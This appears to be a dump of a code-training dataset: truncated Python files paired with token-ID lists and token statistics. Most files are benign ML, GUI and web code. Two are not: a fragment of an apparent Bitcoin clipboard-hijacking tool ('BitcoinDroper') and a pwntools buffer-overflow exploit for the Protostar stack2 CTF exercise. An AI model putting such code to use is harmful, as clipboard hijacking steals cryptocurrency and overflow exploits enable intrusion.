content
stringlengths
1
1.05M
input_ids
listlengths
1
883k
ratio_char_token
float64
1
22.9
token_count
int64
1
883k
import pandas as pd from sklearn.model_selection import GridSearchCV, train_test_split, cross_val_score from sklearn.tree import DecisionTreeClassifier from sklearn.metrics import accuracy_score, classification_report import matplotlib.pyplot as plt import numpy as np import category_encoders as ce from sklearn.preproc...
[ 11748, 19798, 292, 355, 279, 67, 198, 6738, 1341, 35720, 13, 19849, 62, 49283, 1330, 24846, 18243, 33538, 11, 4512, 62, 9288, 62, 35312, 11, 3272, 62, 2100, 62, 26675, 198, 6738, 1341, 35720, 13, 21048, 1330, 26423, 27660, 9487, 7483, ...
2.381958
3,503
name = "magic_markdown" from magic_markdown.MagicMarkdown import MagicMarkdown
[ 3672, 796, 366, 32707, 62, 4102, 2902, 1, 198, 198, 6738, 5536, 62, 4102, 2902, 13, 22975, 9704, 2902, 1330, 6139, 9704, 2902, 198 ]
3.333333
24
import matplotlib.pyplot as plt import pandas as pd from house.production.solar_panel import SolarPanel from house import House from math import pi from time import time start_time = time() solar_panel_east = SolarPanel(285.0, 10*pi/180, -pi/2, 0.87, 1.540539, 10) solar_panel_west = SolarPanel(285.0, 10*pi/180, pi/2...
[ 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 11748, 19798, 292, 355, 279, 67, 198, 198, 6738, 2156, 13, 25493, 13, 82, 6192, 62, 35330, 1330, 12347, 26639, 198, 6738, 2156, 1330, 2097, 198, 6738, 10688, 1330, 31028, 1...
2.091398
558
from tensorflow.keras.layers import Layer, Conv1D, Input, Dropout, MaxPool1D, Masking import tensorflow.keras.backend as K from tensorflow.keras import Model import tensorflow as tf if __name__ == '__main__': input_shape = (16, 5 * 256) filters = [32, 64, 128, 256] pooling_sizes = [2, 2, 2, 2] inputs...
[ 6738, 11192, 273, 11125, 13, 6122, 292, 13, 75, 6962, 1330, 34398, 11, 34872, 16, 35, 11, 23412, 11, 14258, 448, 11, 5436, 27201, 16, 35, 11, 18007, 278, 198, 11748, 11192, 273, 11125, 13, 6122, 292, 13, 1891, 437, 355, 509, 198, ...
2.487047
193
""" Play with autoformatting on save Ensure to pip install black within your environment """ # test linting with an unnecessary import # it should complain and suggest a solution import sys thisdict = { "brand": "Ford", "model": "Mustang", "year": 1964, "okay": "This is getting way too long", }
[ 37811, 198, 11002, 351, 8295, 18982, 889, 319, 3613, 198, 4834, 19532, 284, 7347, 2721, 2042, 1626, 534, 2858, 198, 37811, 198, 198, 2, 1332, 300, 600, 278, 351, 281, 13114, 1330, 198, 2, 340, 815, 13121, 290, 1950, 257, 4610, 198, ...
3.191919
99
import json import os import mock def get_data_filepath(filename): """Construct filepath for a file in the test/data directory Args: filename: name of file Returns: full path to file """ return os.path.join(os.path.dirname(__file__), 'data', filename) def load_from_file(filen...
[ 11748, 33918, 198, 11748, 28686, 198, 198, 11748, 15290, 628, 198, 198, 4299, 651, 62, 7890, 62, 7753, 6978, 7, 34345, 2599, 198, 220, 220, 220, 37227, 42316, 2393, 6978, 329, 257, 2393, 287, 262, 1332, 14, 7890, 8619, 198, 220, 220, ...
2.60793
227
import sys peak=[] with open(sys.argv[1],'r') as f: for line in f: line=line.strip('\n').split('\t') peak.append(int(line[3])) f.close() num=int(len(peak)/100.0) bin=[] for i in range(99): bin.append(str(i+1)+'\t'+str(sum(peak[num*i:num*(i+1)])/(num*1.0))+'\n') bin.append('100'+'\t'+str(sum(peak[num*99:])/(num*...
[ 11748, 25064, 198, 198, 36729, 28, 21737, 198, 4480, 1280, 7, 17597, 13, 853, 85, 58, 16, 60, 4032, 81, 11537, 355, 277, 25, 198, 197, 1640, 1627, 287, 277, 25, 198, 197, 197, 1370, 28, 1370, 13, 36311, 10786, 59, 77, 27691, 35312...
1.916667
204
import csv from faker import Faker fake = Faker() for x in range(0, 10): placa = fake.pystr(min_chars=3, max_chars=3).upper() + str(fake.pydecimal(left_digits=1, right_digits=1, positive=True)) + str(fake.pydecimal(left_digits=1, right_digits=1, positive=True)) placa = placa.replace(".","") atua...
[ 11748, 269, 21370, 201, 198, 6738, 277, 3110, 1330, 376, 3110, 201, 198, 201, 198, 30706, 796, 376, 3110, 3419, 201, 198, 201, 198, 201, 198, 1640, 2124, 287, 2837, 7, 15, 11, 838, 2599, 201, 198, 220, 220, 220, 21957, 64, 796, 83...
2.134707
631
from PyQt5.QtWidgets import QWidget, QApplication, QPushButton, QLabel, QLineEdit, QVBoxLayout, QMessageBox, QCheckBox,\ QSpinBox, QComboBox, QListWidget, QDialog, QFileDialog, QProgressBar, QTableWidget, QTableWidgetItem,\ QAbstractItemView, QSpinBox, QSplitter, QSizePolicy, QAbstractScrollArea, QHBoxLayout, Q...
[ 6738, 9485, 48, 83, 20, 13, 48, 83, 54, 312, 11407, 1330, 1195, 38300, 11, 1195, 23416, 11, 1195, 49222, 21864, 11, 1195, 33986, 11, 1195, 13949, 18378, 11, 1195, 53, 14253, 32517, 11, 1195, 12837, 14253, 11, 1195, 9787, 14253, 11, ...
2.560284
282
import os import psutil import json import sqlite3 import threading from datetime import datetime, timezone from websocket import create_connection
[ 11748, 28686, 198, 11748, 26692, 22602, 198, 11748, 33918, 198, 11748, 44161, 578, 18, 198, 11748, 4704, 278, 198, 6738, 4818, 8079, 1330, 4818, 8079, 11, 640, 11340, 198, 6738, 2639, 5459, 1330, 2251, 62, 38659, 198, 220, 220, 220, 220...
3.413043
46
from __future__ import print_function from simtk.openmm import app import simtk.openmm as mm from simtk import unit from sys import stdout import os import time import numpy as np import argparse from equil import setup_sim, dynamix parser = argparse.ArgumentParser(description='equilibrate structures') parser.add_argu...
[ 6738, 11593, 37443, 834, 1330, 3601, 62, 8818, 198, 6738, 985, 30488, 13, 9654, 3020, 1330, 598, 198, 11748, 985, 30488, 13, 9654, 3020, 355, 8085, 198, 6738, 985, 30488, 1330, 4326, 198, 6738, 25064, 1330, 14367, 448, 198, 11748, 28686...
2.76738
374
# Copyright 2020 DeepMind Technologies Limited. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ag...
[ 2, 15069, 12131, 10766, 28478, 21852, 15302, 13, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, 198,...
3.119008
605
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ 23b.py ~~~~~~ Advent of Code 2017 - Day 23: Coprocessor Conflagration Part Two Now, it's time to fix the problem. The debug mode switch is wired directly to register a. You flip the switch, which makes register a now start at 1 when the pr...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 37811, 198, 220, 220, 220, 2242, 65, 13, 9078, 198, 220, 220, 220, 220, 8728, 4907, 198, 220, 220, 220, 33732, ...
3.032051
468
# -*- coding: utf-8 -*- """ Created on Thu Sep 20 11:59:50 2018 @author: klaus """ import numpy as np import matplotlib.pyplot as plt import time import random from argparse import ArgumentParser, RawTextHelpFormatter if __name__ == "__main__": argument_parser = ArgumentParser(description=""" ...
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 201, 198, 37811, 201, 198, 41972, 319, 26223, 8621, 1160, 1367, 25, 3270, 25, 1120, 2864, 201, 198, 201, 198, 31, 9800, 25, 479, 38024, 201, 198, 37811, 201, 198, 11748, 29...
1.786287
1,123
from ebird.api.constants import DEFAULT_BACK from tests.mixins.base import BaseMixin
[ 6738, 304, 16944, 13, 15042, 13, 9979, 1187, 1330, 5550, 38865, 62, 31098, 198, 6738, 5254, 13, 19816, 1040, 13, 8692, 1330, 7308, 35608, 259, 628 ]
3.307692
26
""" Export data from Tamr using df-connect. An example where everything is default in config file, which implies exported data is written back to same database as ingested from. """ import tamr_toolbox as tbox my_config = tbox.utils.config.from_yaml("examples/resources/conf/connect.config.yaml") my_connect = tbox.dat...
[ 37811, 198, 43834, 1366, 422, 11552, 81, 1262, 47764, 12, 8443, 13, 1052, 1672, 810, 2279, 318, 4277, 287, 4566, 2393, 11, 198, 4758, 15565, 29050, 1366, 318, 3194, 736, 284, 976, 6831, 355, 44694, 422, 13, 198, 37811, 198, 11748, 218...
3.142857
161
from flask_wtf import FlaskForm from wtforms import StringField, PasswordField, BooleanField from wtforms.validators import DataRequired, Length, EqualTo, URL from project.auth.models import User
[ 6738, 42903, 62, 86, 27110, 1330, 46947, 8479, 198, 6738, 266, 83, 23914, 1330, 10903, 15878, 11, 30275, 15878, 11, 41146, 15878, 198, 6738, 266, 83, 23914, 13, 12102, 2024, 1330, 6060, 37374, 11, 22313, 11, 28701, 2514, 11, 10289, 198,...
3.882353
51
from flask import Flask, render_template, request, jsonify import sqlite3 import json import re import logging from applicationInfo import ApplicationInfo logging.basicConfig(filename='/var/www/SoftDev2/projectGo.log', level=logging.DEBUG) app = Flask(__name__) applicationInfo = ApplicationInfo() row_pos_obligation...
[ 6738, 42903, 1330, 46947, 11, 8543, 62, 28243, 11, 2581, 11, 33918, 1958, 198, 11748, 44161, 578, 18, 198, 11748, 33918, 198, 11748, 302, 198, 11748, 18931, 198, 198, 6738, 3586, 12360, 1330, 15678, 12360, 198, 198, 6404, 2667, 13, 3548...
2.828431
204
# Copyright (c) 2018, NVIDIA CORPORATION. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
[ 2, 15069, 357, 66, 8, 2864, 11, 15127, 23929, 44680, 6234, 13, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262,...
3.570755
212
N = int(input()) ans = 0 for _ in range(N): p, q = map(int, input().split()) ans += (1 / p) * q print(ans)
[ 45, 796, 493, 7, 15414, 28955, 198, 504, 796, 657, 198, 1640, 4808, 287, 2837, 7, 45, 2599, 198, 220, 220, 220, 279, 11, 10662, 796, 3975, 7, 600, 11, 5128, 22446, 35312, 28955, 198, 220, 220, 220, 9093, 15853, 357, 16, 1220, 279,...
2.192308
52
from heapq import heappush, heappop l1 = ListNode(1) l1.next = ListNode(4) l1.next.next = ListNode(5) l2 = ListNode(1) l2.next = ListNode(3) l2.next.next = ListNode(4) l3 = ListNode(2) l3.next = ListNode(6) l3 = mergeKLists([l1, l2, l3]) p = l3 while p: print(p.val, end=" ") # 1 1 2 3 4 4 5 6 p = p.next pr...
[ 6738, 24575, 80, 1330, 339, 1324, 1530, 11, 339, 1324, 404, 198, 198, 75, 16, 796, 7343, 19667, 7, 16, 8, 198, 75, 16, 13, 19545, 796, 7343, 19667, 7, 19, 8, 198, 75, 16, 13, 19545, 13, 19545, 796, 7343, 19667, 7, 20, 8, 198, ...
1.981707
164
import argparse import glob import numpy as np import os import skimage.io import torch import tifffile from cellpose import models def _parse_args(): """Parse command-line arguments.""" parser = argparse.ArgumentParser() parser.add_argument( "-i", "--input", type=str, def...
[ 11748, 1822, 29572, 198, 11748, 15095, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 28686, 198, 11748, 1341, 9060, 13, 952, 198, 11748, 28034, 198, 11748, 256, 361, 487, 576, 198, 198, 6738, 2685, 3455, 1330, 4981, 628, 198, 4299, 48...
2.109275
1,089
# # Customer cliff dive data challenge # 2020-02-17 # Leslie Emery # ## Summary # ### The problem # The head of the Yammer product team has noticed a precipitous drop in weekly active users, which is one of the main KPIs for customer engagement. What has caused this drop? # ### My approach and results # I began b...
[ 2, 1303, 22092, 19516, 15647, 1366, 4427, 198, 198, 2, 12131, 12, 2999, 12, 1558, 198, 198, 2, 26909, 10320, 88, 198, 198, 2, 22492, 21293, 198, 198, 2, 44386, 383, 1917, 198, 2, 383, 1182, 286, 262, 14063, 647, 1720, 1074, 468, 6...
2.813296
5,024
import socket import threading import random sock = socket.socket() sock.connect(('localhost', 9090)) number = random.randint(0,1000) name = "person" + str(number) threading.Thread(target=send_message).start() threading.Thread(target=receive_message).start()
[ 11748, 17802, 198, 11748, 4704, 278, 198, 11748, 4738, 628, 628, 198, 198, 82, 735, 796, 17802, 13, 44971, 3419, 198, 82, 735, 13, 8443, 7, 10786, 36750, 3256, 860, 42534, 4008, 198, 17618, 796, 4738, 13, 25192, 600, 7, 15, 11, 1282...
3.105882
85
from collections import defaultdict import heapq from itertools import chain, repeat from feature_dict import FeatureDictionary import json import numpy as np import scipy.sparse as sp def __get_data_in_forward_format(self, names, code, name_cx_size): """ Get the data in a "forward" model format. ...
[ 6738, 17268, 1330, 4277, 11600, 198, 11748, 24575, 80, 198, 6738, 340, 861, 10141, 1330, 6333, 11, 9585, 198, 6738, 3895, 62, 11600, 1330, 27018, 35, 14188, 198, 11748, 33918, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 629, 541, 88...
2.108331
6,554
words = open("words.txt", "r") words = [x.rstrip("\n") for x in words.readlines()] refwords = open("referencewords.txt", "r") refwords = [x.strip("\n") for x in refwords.readlines()] words_needed = [] main() for i in words_needed: print(i)
[ 10879, 796, 1280, 7203, 10879, 13, 14116, 1600, 366, 81, 4943, 198, 10879, 796, 685, 87, 13, 81, 36311, 7203, 59, 77, 4943, 329, 2124, 287, 2456, 13, 961, 6615, 3419, 60, 198, 5420, 10879, 796, 1280, 7203, 35790, 10879, 13, 14116, 1...
2.595745
94
# pylint: disable=too-few-public-methods,no-self-use from django.utils.crypto import get_random_string from django.utils.translation import gettext_lazy as _ from democrasite.users.forms import ( DisabledChangePasswordForm, DisabledResetPasswordForm, DisabledResetPasswordKeyForm, DisabledSetPasswordFor...
[ 2, 279, 2645, 600, 25, 15560, 28, 18820, 12, 32146, 12, 11377, 12, 24396, 82, 11, 3919, 12, 944, 12, 1904, 198, 6738, 42625, 14208, 13, 26791, 13, 29609, 78, 1330, 651, 62, 25120, 62, 8841, 198, 6738, 42625, 14208, 13, 26791, 13, ...
3.07874
127
# -*- coding: utf-8 -*- """ @author: Terada """ from keras.models import Sequential, Model from keras.layers import Dense, MaxPooling2D, Flatten, Dropout from keras.layers import Conv2D, BatchNormalization, ZeroPadding2D, MaxPool2D from keras.layers import Input, Convolution2D, AveragePooling2D, merge, Reshape, Activat...
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 37811, 198, 31, 9800, 25, 3813, 4763, 198, 37811, 198, 6738, 41927, 292, 13, 27530, 1330, 24604, 1843, 11, 9104, 198, 6738, 41927, 292, 13, 75, 6962, 1330, 360, 1072, ...
2.992806
139
from contextlib import closing, contextmanager import StringIO as s import unittest as t from lambdak import * # A helper class to test attribute access. # Helper functions for the tests. def inc(x): return x + 1 if __name__ == "__main__": t.main()
[ 6738, 4732, 8019, 1330, 9605, 11, 4732, 37153, 198, 11748, 10903, 9399, 355, 264, 198, 11748, 555, 715, 395, 355, 256, 198, 6738, 19343, 67, 461, 1330, 1635, 198, 198, 2, 317, 31904, 1398, 284, 1332, 11688, 1895, 13, 198, 198, 2, 50...
3.269231
78
# Coded By : Ismael Al-safadi from win32gui import GetWindowText, GetForegroundWindow from pyperclip import copy from re import findall from win32clipboard import OpenClipboard , GetClipboardData , CloseClipboard from time import sleep a = BitcoinDroper() while True: if a.check_active_window() and a.che...
[ 2, 327, 9043, 2750, 1058, 1148, 2611, 417, 978, 12, 49585, 9189, 201, 198, 201, 198, 6738, 1592, 2624, 48317, 1330, 3497, 27703, 8206, 11, 3497, 16351, 2833, 27703, 201, 198, 6738, 12972, 525, 15036, 1330, 4866, 201, 198, 6738, 302, 1...
2.37751
249
#!/usr/bin/env python # $Id: stack2.py,v 1.0 2018/06/21 23:12:02 dhn Exp $ from pwn import * level = 2 host = "10.168.142.133" user = "user" chal = "stack%i" % level password = "user" binary = "/opt/protostar/bin/%s" % chal shell = ssh(host=host, user=user, password=password) padding = "A" * 64 addr = p32(0x0d0a0...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 720, 7390, 25, 8931, 17, 13, 9078, 11, 85, 352, 13, 15, 2864, 14, 3312, 14, 2481, 2242, 25, 1065, 25, 2999, 288, 21116, 5518, 720, 198, 198, 6738, 279, 675, 1330, 1635, 198, 1...
2.4
210
import urllib.parse, urllib.request,json import time import hmac, hashlib,random,base64 #yahoo stuff #client ID dj0yJmk9S3owYWNNcm1jS3VIJmQ9WVdrOU1HMUZiMHh5TjJNbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD0xOQ-- #client secret ID fcde44eb1bf2a7ff474b9fd861a6fcf33be56d3f ##### ACTUAL FUNCTIONS
[ 11748, 2956, 297, 571, 13, 29572, 11, 2956, 297, 571, 13, 25927, 11, 17752, 198, 11748, 640, 198, 11748, 289, 20285, 11, 12234, 8019, 11, 25120, 11, 8692, 2414, 198, 2, 40774, 3404, 198, 2, 16366, 4522, 220, 220, 220, 220, 220, 220,...
1.778409
176
import os, sys, logging, threading, tempfile, shutil, tarfile, inspect from ConfigParser import RawConfigParser import requests from DXLiquidIntelApi import DXLiquidIntelApi log = logging.getLogger(__name__)
[ 198, 11748, 28686, 11, 25064, 11, 18931, 11, 4704, 278, 11, 20218, 7753, 11, 4423, 346, 11, 13422, 7753, 11, 10104, 198, 6738, 17056, 46677, 1330, 16089, 16934, 46677, 198, 11748, 7007, 198, 6738, 19393, 41966, 24123, 32, 14415, 1330, 1...
3.516667
60
from rkstiff.grids import construct_x_kx_rfft, construct_x_kx_fft from rkstiff.grids import construct_x_Dx_cheb from rkstiff.derivatives import dx_rfft, dx_fft import numpy as np
[ 198, 6738, 374, 74, 301, 733, 13, 2164, 2340, 1330, 5678, 62, 87, 62, 74, 87, 62, 81, 487, 83, 11, 5678, 62, 87, 62, 74, 87, 62, 487, 83, 198, 6738, 374, 74, 301, 733, 13, 2164, 2340, 1330, 5678, 62, 87, 62, 35, 87, 62, 23...
2.3375
80
#!/usr/bin/env python import os from jinja2 import Environment, FileSystemLoader PATH = os.path.dirname(os.path.abspath(__file__)) env = Environment(loader=FileSystemLoader(os.path.join(PATH, 'templates'))) mac_addr = "01:23:45:67:89:01" PXE_ROOT_DIR = "/data/tftpboot" pxe_options = { 'os_distribution': 'centos...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 198, 11748, 28686, 198, 6738, 474, 259, 6592, 17, 1330, 9344, 11, 9220, 11964, 17401, 198, 198, 34219, 796, 28686, 13, 6978, 13, 15908, 3672, 7, 418, 13, 6978, 13, 397, 2777, 776, 7,...
2.581097
857
from django.contrib import admin from django.contrib.auth.admin import UserAdmin as DjangoUserAdmin from .models import Student, User admin.site.site_header = 'BIA SCHOOL SYSTEM' admin.site.register(User, UserAdmin) admin.site.register(Student, StudentUser)
[ 6738, 42625, 14208, 13, 3642, 822, 1330, 13169, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 13, 28482, 1330, 11787, 46787, 355, 37770, 12982, 46787, 198, 198, 6738, 764, 27530, 1330, 13613, 11, 11787, 198, 198, 28482, 13, 15654, ...
3.325
80
# coding: utf-8 """Converter module.""" import util THEME = 'theme' BACKGROUND = 'background'
[ 2, 19617, 25, 3384, 69, 12, 23, 198, 198, 37811, 3103, 332, 353, 8265, 526, 15931, 198, 198, 11748, 7736, 198, 198, 4221, 3620, 36, 796, 705, 43810, 6, 198, 31098, 46025, 796, 705, 25249, 6, 628 ]
2.648649
37
import pickle import platform import os import pytest import localpaths from . import serve from .serve import Config def test_ws_doc_root_default(): c = Config() assert c.ws_doc_root == os.path.join(localpaths.repo_root, "websockets", "handlers") def test_init_ws_doc_root(): c = Config(ws_doc_root="...
[ 11748, 2298, 293, 198, 11748, 3859, 198, 11748, 28686, 198, 198, 11748, 12972, 9288, 198, 198, 11748, 1957, 6978, 82, 198, 6738, 764, 1330, 4691, 198, 6738, 764, 2655, 303, 1330, 17056, 628, 198, 198, 4299, 1332, 62, 18504, 62, 15390, ...
2.571429
301
# -*-coding: utf-8 -*- import os import re from sklearn.feature_extraction.text import CountVectorizer import sys import numpy as np from sklearn.model_selection import train_test_split from sklearn.feature_extraction.text import TfidfTransformer import commands import tflearn import pickle max_features=10000 max_docu...
[ 2, 532, 9, 12, 66, 7656, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 11748, 28686, 198, 11748, 302, 198, 6738, 1341, 35720, 13, 30053, 62, 2302, 7861, 13, 5239, 1330, 2764, 38469, 7509, 198, 11748, 25064, 198, 11748, 299, 32152, 355, 4...
2.621145
227
import numpy as np from DREAM.Settings.Equations.EquationException import EquationException from . import DistributionFunction as DistFunc from . DistributionFunction import DistributionFunction from .. TransportSettings import TransportSettings INIT_FORWARD = 1 INIT_XI_NEGATIVE = 2 INIT_XI_POSITIVE = 3 INIT_ISOTROP...
[ 198, 11748, 299, 32152, 355, 45941, 198, 6738, 360, 32235, 13, 26232, 13, 23588, 602, 13, 23588, 341, 16922, 1330, 7889, 341, 16922, 198, 6738, 764, 1330, 27484, 22203, 355, 4307, 37, 19524, 198, 6738, 764, 27484, 22203, 1330, 27484, 22...
3.473684
95
# Copyright (c) 2015 Adi Roiban. # See LICENSE for details. """ Tests for the assertion helpers. """ from __future__ import print_function from __future__ import division from __future__ import absolute_import import os from chevah.compat.exceptions import CompatError from chevah.compat.testing import ChevahTestCase, ...
[ 2, 15069, 357, 66, 8, 1853, 1215, 72, 5564, 14278, 13, 198, 2, 4091, 38559, 24290, 329, 3307, 13, 198, 37811, 198, 51, 3558, 329, 262, 19190, 49385, 13, 198, 37811, 198, 6738, 11593, 37443, 834, 1330, 3601, 62, 8818, 198, 6738, 1159...
3.483871
93
import unittest import sys sys.path.insert(0, '../src/') from conformal_predictors.icp import ConformalPredictor from conformal_predictors.nc_measures import * import conformal_predictors.calibrutils as cu from sklearn.datasets import * import numpy as np from sklearn.svm import SVC from sklearn.ensemble import Ran...
[ 11748, 555, 715, 395, 198, 198, 11748, 25064, 198, 17597, 13, 6978, 13, 28463, 7, 15, 11, 705, 40720, 10677, 14, 11537, 198, 198, 6738, 17216, 282, 62, 79, 17407, 669, 13, 291, 79, 1330, 1482, 687, 282, 47, 17407, 273, 198, 6738, ...
3.126761
213
import os.path import torchvision.transforms as transforms from data.base_dataset import BaseDataset, get_transform from data.image_folder import make_dataset from PIL import Image import PIL from pdb import set_trace as st import torch import numpy as np #from yolo.utils.datasets import pad #import torchvision.trans...
[ 11748, 28686, 13, 6978, 198, 11748, 28034, 10178, 13, 7645, 23914, 355, 31408, 198, 6738, 1366, 13, 8692, 62, 19608, 292, 316, 1330, 7308, 27354, 292, 316, 11, 651, 62, 35636, 198, 6738, 1366, 13, 9060, 62, 43551, 1330, 787, 62, 19608...
3.314516
124
"""Interface to Primare amplifiers using Twisted SerialPort. This module allows you to control your Primare I22 and I32 amplifier from the command line using Primare's binary protocol via the RS232 port on the amplifier. """ import logging import click from contextlib import closing from primare_control import Prima...
[ 37811, 39317, 284, 11460, 533, 12306, 13350, 1262, 40006, 23283, 13924, 13, 198, 198, 1212, 8265, 3578, 345, 284, 1630, 534, 11460, 533, 314, 1828, 290, 314, 2624, 33382, 422, 262, 198, 21812, 1627, 1262, 11460, 533, 338, 13934, 8435, 2...
2.78869
336
#!/usr/bin/env python3 import csv import sys input_file = sys.argv[1] output_file = sys.argv[2] with open(input_file, 'r', newline='') as csv_in_file: with open(output_file, 'w', newline='') as csv_out_file: filereader = csv.reader(csv_in_file, delimiter=',') filewriter = csv.writer(csv_out_file, delimiter=',') ...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 11748, 269, 21370, 198, 11748, 25064, 198, 198, 15414, 62, 7753, 796, 25064, 13, 853, 85, 58, 16, 60, 198, 22915, 62, 7753, 796, 25064, 13, 853, 85, 58, 17, 60, 198, 198, 4480,...
2.3875
160
import unittest from provdbconnector.exceptions.database import InvalidOptionsException, AuthException from provdbconnector import Neo4jAdapter, NEO4J_USER, NEO4J_PASS, NEO4J_HOST, NEO4J_BOLT_PORT from provdbconnector.prov_db import ProvDb from provdbconnector.tests import AdapterTestTemplate from provdbconnector.test...
[ 11748, 555, 715, 395, 198, 198, 6738, 899, 9945, 8443, 273, 13, 1069, 11755, 13, 48806, 1330, 17665, 29046, 16922, 11, 26828, 16922, 198, 6738, 899, 9945, 8443, 273, 1330, 21227, 19, 73, 47307, 11, 44106, 19, 41, 62, 29904, 11, 44106,...
3.398058
103
# -*- coding: utf-8 -*- import psutil # CPU print("CPU: ", psutil.cpu_count()) # CPU print("CPU: ", psutil.cpu_count(logical=False)) # CPU print("CPU: ", psutil.cpu_times()) # CPU # for x in range(3): # print(psutil.cpu_percent(interval=1, percpu=True)) # CPU # print("memory", psutil.virtual_memor...
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 201, 198, 11748, 26692, 22602, 201, 198, 201, 198, 2, 9135, 201, 198, 4798, 7203, 36037, 25, 33172, 26692, 22602, 13, 36166, 62, 9127, 28955, 220, 1303, 9135, 201, 198, 4798,...
2.22365
778
import json from NewDeclarationInQueue.formular_converter import FormularConverter from NewDeclarationInQueue.preprocess_one_step import PreprocessOneStep from NewDeclarationInQueue.preprocess_two_steps import PreProcessTwoSteps from NewDeclarationInQueue.processfiles.customprocess.search_text_line_parameter import Se...
[ 198, 11748, 33918, 198, 6738, 968, 37835, 10186, 818, 34991, 13, 687, 934, 62, 1102, 332, 353, 1330, 5178, 934, 3103, 332, 353, 198, 6738, 968, 37835, 10186, 818, 34991, 13, 3866, 14681, 62, 505, 62, 9662, 1330, 3771, 14681, 3198, 860...
3.563063
222
"""Extend event column in account history Revision ID: 18632a2d5fc Revises: 3e19c50e864 Create Date: 2015-06-05 17:49:12.757269 """ # revision identifiers, used by Alembic. revision = '18632a2d5fc' down_revision = '3e19c50e864' branch_labels = None depends_on = None from alembic import op import sqlalchemy as sa fr...
[ 37811, 11627, 437, 1785, 5721, 287, 1848, 2106, 198, 198, 18009, 1166, 4522, 25, 28481, 2624, 64, 17, 67, 20, 16072, 198, 18009, 2696, 25, 513, 68, 1129, 66, 1120, 68, 39570, 198, 16447, 7536, 25, 1853, 12, 3312, 12, 2713, 1596, 25,...
2.644928
138
import random import datetime from django.db import models from django.contrib.auth.models import ( BaseUserManager, AbstractBaseUser ) from django.utils import timezone SECURTYQUESTION = ( ('1', "What city were you born in?"), ('2', "What is your mother's maiden name?"), ('3', "What street did you gro...
[ 11748, 4738, 198, 11748, 4818, 8079, 198, 6738, 42625, 14208, 13, 9945, 1330, 4981, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 13, 27530, 1330, 357, 198, 220, 220, 220, 7308, 12982, 13511, 11, 27741, 14881, 12982, 198, 8, 198, ...
2.957576
165
from emoji import emojize from data import all_emoji from aiogram.types import InlineKeyboardMarkup from aiogram.types import InlineKeyboardButton from aiogram.utils.callback_data import CallbackData cb_confirm_close = CallbackData('cb_cc', 'type_btn')
[ 6738, 44805, 1330, 795, 13210, 1096, 198, 6738, 1366, 1330, 477, 62, 368, 31370, 198, 198, 6738, 257, 72, 21857, 13, 19199, 1330, 554, 1370, 9218, 3526, 9704, 929, 198, 6738, 257, 72, 21857, 13, 19199, 1330, 554, 1370, 9218, 3526, 218...
3.2125
80
''' This file contains utility of AStarSearch. Thanks to Binyu Wang for providing the codes. ''' from random import randint import numpy as np # img = np.zeros((20,20)) # source = (0,0) # dest = (img.shape[0]-1, img.shape[1]-1) # path = AStarSearch(img, source, dest)
[ 7061, 6, 198, 1212, 2393, 4909, 10361, 286, 317, 8248, 18243, 13, 198, 9690, 284, 347, 3541, 84, 15233, 329, 4955, 262, 12416, 13, 198, 7061, 6, 198, 198, 6738, 4738, 1330, 43720, 600, 198, 11748, 299, 32152, 355, 45941, 628, 628, 6...
2.722772
101
import xlrd from app.services.extension import task_server, sqlalchemy as db from app.models.core.user import User from app.application import initialize_app try: from app.config.production import ProductionConfig as config_object except ImportError: from app.config.local import LocalConfig as config_object
[ 11748, 2124, 75, 4372, 198, 198, 6738, 598, 13, 30416, 13, 2302, 3004, 1330, 4876, 62, 15388, 11, 44161, 282, 26599, 355, 20613, 198, 6738, 598, 13, 27530, 13, 7295, 13, 7220, 1330, 11787, 198, 6738, 598, 13, 31438, 1330, 41216, 62, ...
3.666667
87
from praw import Reddit import random
[ 6738, 279, 1831, 1330, 10750, 198, 11748, 4738, 628 ]
4.333333
9
from .utils.distance import distance from .classification import MDM import numpy from sklearn.base import BaseEstimator, TransformerMixin ##########################################################
[ 6738, 764, 26791, 13, 30246, 1330, 5253, 198, 6738, 764, 4871, 2649, 1330, 10670, 44, 198, 11748, 299, 32152, 198, 6738, 1341, 35720, 13, 8692, 1330, 7308, 22362, 320, 1352, 11, 3602, 16354, 35608, 259, 198, 198, 29113, 14468, 7804, 223...
4.761905
42
from django.conf.urls import url, include from django.contrib.auth import views as auth from user.forms import NewAccountForm from user import views app_name = 'user' urlpatterns = [ # auth url(r'^create/$', views.UserCreate.as_view(), name='create'), url(r'^login/$', auth.login, {'template_name...
[ 6738, 42625, 14208, 13, 10414, 13, 6371, 82, 1330, 19016, 11, 2291, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 1330, 5009, 355, 6284, 198, 198, 6738, 2836, 13, 23914, 1330, 968, 30116, 8479, 198, 6738, 2836, 1330, 5009, 198, 1...
2.319071
818
